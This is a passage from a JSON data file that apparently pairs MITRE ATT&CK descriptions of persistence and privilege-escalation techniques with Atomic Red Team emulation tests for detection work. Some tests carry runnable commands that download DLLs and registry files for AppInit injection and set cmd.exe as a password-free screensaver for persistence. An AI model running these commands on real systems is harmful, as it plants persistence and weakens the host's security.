- },
- {
- "url": "https://support.microsoft.com/en-us/kb/197571",
- "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
- "source_name": "AppInit Registry"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/dn280412",
- "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
- "source_name": "AppInit Secure Boot"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-11-10T18:29:31.076Z",
- "name": "Event Triggered Execution: AppInit DLLs",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs
value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows
are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx
. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Creation",
- "Module: Module Load",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Secure boot disabled on systems running Windows 8 and later"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.010"
- },
- "atomic_tests": [
- {
- "name": "Install AppInit Shim",
- "auto_generated_guid": "a58d9386-3080-4242-ab5f-454c16503d18",
- "description": "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, \nyou will see the message \"The operation completed successfully.\" Each time the DLL is loaded, you will see a message box with a message of \"Install AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the \nAppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.\n\nNote: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "registry_file": {
- "description": "Windows Registry File",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010.reg"
- },
- "registry_cleanup_file": {
- "description": "Windows Registry File",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.010\\src\\T1546.010-cleanup.reg"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})\n",
- "prereq_command": "if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file})) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg\" -OutFile \"#{registry_file}\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg\" -OutFile \"#{registry_cleanup_file}\"\n"
- },
- {
- "description": "DLL's must exist in the C:\\Tools directory (T1546.010.dll and T1546.010x86.dll)\n",
- "prereq_command": "if ((Test-Path c:\\Tools\\T1546.010.dll) -and (Test-Path c:\\Tools\\T1546.010x86.dll)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory C:\\Tools -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll\" -OutFile C:\\Tools\\T1546.010.dll\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll\" -OutFile C:\\Tools\\T1546.010x86.dll\n"
- }
- ],
- "executor": {
- "command": "reg.exe import #{registry_file}\n",
- "cleanup_command": "reg.exe import #{registry_cleanup_file} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1546.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bartosz Jerzman"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
- "created": "2020-01-24T13:51:01.210Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.002",
- "url": "https://attack.mitre.org/techniques/T1546/002"
- },
- {
- "source_name": "ESET Gazer Aug 2017",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
- "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017."
- },
- {
- "source_name": "Wikipedia Screensaver",
- "url": "https://en.wikipedia.org/wiki/Screensaver",
- "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\
, and C:\\Windows\\sysWOW64\\
on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\
) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe
- set to malicious PE path\n* ScreenSaveActive
- set to '1' to enable the screensaver\n* ScreenSaverIsSecure
- set to '0' to not require a password to unlock\n* ScreenSaveTimeout
- sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
- "modified": "2022-04-20T16:58:48.140Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Screensaver",
- "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "File: File Modification",
- "File: File Creation",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.002"
- },
- "atomic_tests": [
- {
- "name": "Set Arbitrary Binary as Screensaver",
- "auto_generated_guid": "281201e7-de41-4dc9-b73d-f288938cbb64",
- "description": "This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_binary": {
- "description": "Executable binary to use in place of screensaver for persistence",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- },
- "reboot": {
- "description": "Set to non-zero value if you want the test to reboot the system so that changes take effect",
- "type": "integer",
- "default": 0
- }
- },
- "executor": {
- "command": "reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0\n",
- "cleanup_command": "reg import %userprofile%\\backup.reg\ndel %userprofile%\\backup.reg\ndel %SystemRoot%\\System32\\evilscreensaver.scr\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1543.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Antonio Piazza, @antman1p"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
- "created": "2020-01-17T16:10:58.592Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.001",
- "url": "https://attack.mitre.org/techniques/T1543/001"
- },
- {
- "source_name": "AppleDocs Launch Agent Daemons",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."
- },
- {
- "source_name": "Sofacy Komplex Trojan",
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."
- },
- {
- "source_name": "OceanLotus for OS X",
- "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX Keydnap malware",
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX Malware Detection",
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."
- },
- {
- "source_name": "Antiquated Mac Malware",
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017."
- },
- {
- "source_name": "OSX.Dok Malware",
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents
, /Library/LaunchAgents
, and ~/Library/LaunchAgents
.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label
, ProgramArguments
, and RunAtLoad
keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad
or KeepAlive
keys set to true
.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
- "modified": "2022-04-21T16:13:00.598Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process: Launch Agent",
- "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments
key pointing to executables located in the /tmp
or /shared
folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad
key set to true
are in alignment with policy. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification",
- "Service: Service Creation",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1543.001"
- },
- "atomic_tests": []
- },
- "T1055.009": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
- "type": "attack-pattern",
- "created": "2020-01-14T01:34:10.588Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.009",
- "url": "https://attack.mitre.org/techniques/T1055/009"
- },
- {
- "url": "http://hick.org/code/skape/papers/needle.txt",
- "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
- "source_name": "Uninformed Needle"
- },
- {
- "source_name": "GDS Linux Injection",
- "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html",
- "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."
- },
- {
- "source_name": "DD Man",
- "url": "http://man7.org/linux/man-pages/man1/dd.1.html",
- "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."
- }
- ],
- "modified": "2020-06-20T22:25:55.331Z",
- "name": "Proc Memory",
- "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]
) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps
can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1519": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ivan Sinyakov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753",
- "type": "attack-pattern",
- "created": "2019-09-19T14:07:11.734Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1519",
- "url": "https://attack.mitre.org/techniques/T1519"
- },
- {
- "source_name": "xorrior emond Jan 2018",
- "url": "https://www.xorrior.com/emond-persistence/",
- "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
- },
- {
- "source_name": "magnusviri emond Apr 2016",
- "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
- "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "modified": "2020-01-24T15:15:44.006Z",
- "name": "Emond",
- "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond
will load any rules from the /etc/emond.d/rules/
directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients
, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist
.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/
and /private/var/db/emondClients
.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1037.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
- "type": "attack-pattern",
- "created": "2020-01-15T16:25:22.260Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.004",
- "url": "https://attack.mitre.org/techniques/T1037/004"
- },
- {
- "source_name": "IranThreats Kittens Dec 2017",
- "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/",
- "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."
- },
- {
- "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
- "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
- "source_name": "Intezer HiddenWasp Map 2019"
- },
- {
- "source_name": "intezer-kaiji-malware",
- "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
- "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
- },
- {
- "source_name": "Apple Developer Doco Archive Launchd",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021."
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
- "source_name": "Startup Items"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "source_name": "Ubuntu Manpage systemd rc",
- "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html",
- "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021."
- }
- ],
- "modified": "2021-04-27T19:58:01.927Z",
- "name": "Boot or Logon Initialization Scripts: Rc.common",
- "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local
, rc.common
, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the /etc/
directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local
file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local
if present. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1037.004"
- },
- "atomic_tests": []
- },
- "T1134": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tom Ueltschi @c_APT_ure",
- "Travis Smith, Tripwire",
- "Robby Winchester, @robwinchester3",
- "Jared Atkinson, @jaredcatkinson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134",
- "url": "https://attack.mitre.org/techniques/T1134"
- },
- {
- "source_name": "BlackHat Atkinson Winchester Token Manipulation",
- "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf",
- "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017."
- },
- {
- "source_name": "Microsoft Command-line Logging",
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017."
- },
- {
- "source_name": "Microsoft LogonUser",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Microsoft DuplicateTokenEx",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Microsoft ImpersonateLoggedOnUser",
- "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
- "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017."
- },
- {
- "source_name": "Pentestlab Token Manipulation",
- "url": "https://pentestlab.blog/2017/04/03/token-manipulation/",
- "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/633.html",
- "source_name": "capec",
- "external_id": "CAPEC-633"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the 